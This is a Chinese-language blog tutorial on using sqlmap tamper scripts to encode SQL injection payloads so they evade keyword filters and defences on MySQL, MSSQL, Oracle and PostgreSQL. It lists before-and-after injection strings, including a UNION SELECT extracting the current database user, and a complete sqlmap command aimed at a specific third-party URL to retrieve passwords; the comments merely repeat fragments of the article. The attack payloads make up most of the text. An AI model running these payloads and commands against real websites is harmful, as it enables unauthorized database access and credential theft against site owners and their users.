SQLMAP如何绕过SQL注入限制 ?
前言:
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据。
然而随着SQL注入攻击的高潮过后,越来越多的安全人员想出了防止SQL攻击的方式,例如利用instr()函数,过滤注入关键字等等的方法。所以如何绕过这些防止攻击的手段,是目前的安全研究人员们的常规研究方向。
关于SQLMAP:
Sqlmap是一款开源的命令行自动SQL注入工具。它由Bernardo Damele A.G.和Daniele Bellucci以GNU GPLv2许可证方式发布,可从http://sqlmap.sourceforge.net上下载。
Sqlmap用Python开发而成,这使得它能够独立于底层的操作系统,而只需2.4或之后版本的Python解释器即可。为了使事情更容易,许多GNU/Linux在发布时都创新性地附带安装了Python解释器包。Windows、UNIX和Mac OSX也均有提供或者可免费获取。
今天我来说说如何绕过注入限制。
MYSQL BYPASS
脚本:space2hash.py含有免杀功能,对于MYSQL数据库 4.0、5.0注入
例子:
* 注入语句:1 AND 9227=9227
* 替换成为:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
脚本: space2morehash.py含有免杀功能,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
例子:
* 注入语句:1 AND 9227=9227
* 替换成为:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
如何使用这些BYPASS绕过脚本? 你可以用SQLMAP的 –tamper 参数。
一个注入点:http://sql.dis9.com/sql.php?id=1 我们首先判断他数据库的版本
然后选择对于版本的bypass脚本进行使用,我们来尝试一下::
看图片的注释,提示版本错误,我们来换个BYPASS脚本,使用space2dash.py试试。
这个是SQLite数据库和MYSQL数据库的,例子:
* 注入语句:1 AND 9227=9227
* 输出:1–PTTmJopxdWJ%0AAND–cWfcVRPV%0A9227=9227
尝试一下,看下图,PAYLOAD已经被编码:
sqlmap -u "http://sql.dis9.com/sql.php?id=1" -v 3 –password –batch –tamper "space2dash.py"
换个编码吧,换encodes编码:charencode.py
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
* 注入语句:SELECT FIELD FROM%20TABLE
* 替换为:%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
base64编码脚本:base64encode.py
* 注入语句:1' AND SLEEP(5)#
* 替换为:MScgQU5EIFNMRUVQKDUpIw==
替换空格和关键字 :halfversionedmorekeywords.py
* 注入语句:
1 value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* 替换成:
1 value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
其他类型数据库看官网介绍吧:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/
MSSQL等等的都有,自己发挥吧。
原文地址,听潮社区http://www.f4ck.org/article-2183-1.html
相关文章
- 3条评论
- 馥妴念稚2022-05-28 11:50:12
- R()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa 其他类型数据库看官网介绍吧:https://sv
- 余安觅遇2022-05-28 04:53:58
- http://sql.dis9.com/sql.php?id=1 我们首先判断他数据库的版本 然后选择对于版本的bypass脚本进行使用,我们来尝试一下:: 看图片的注释,提示版本错误,我们来换个BYPASS脚本,使用space2dash.py试试
- 北槐偶亦2022-05-28 08:41:22
- 前言: SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查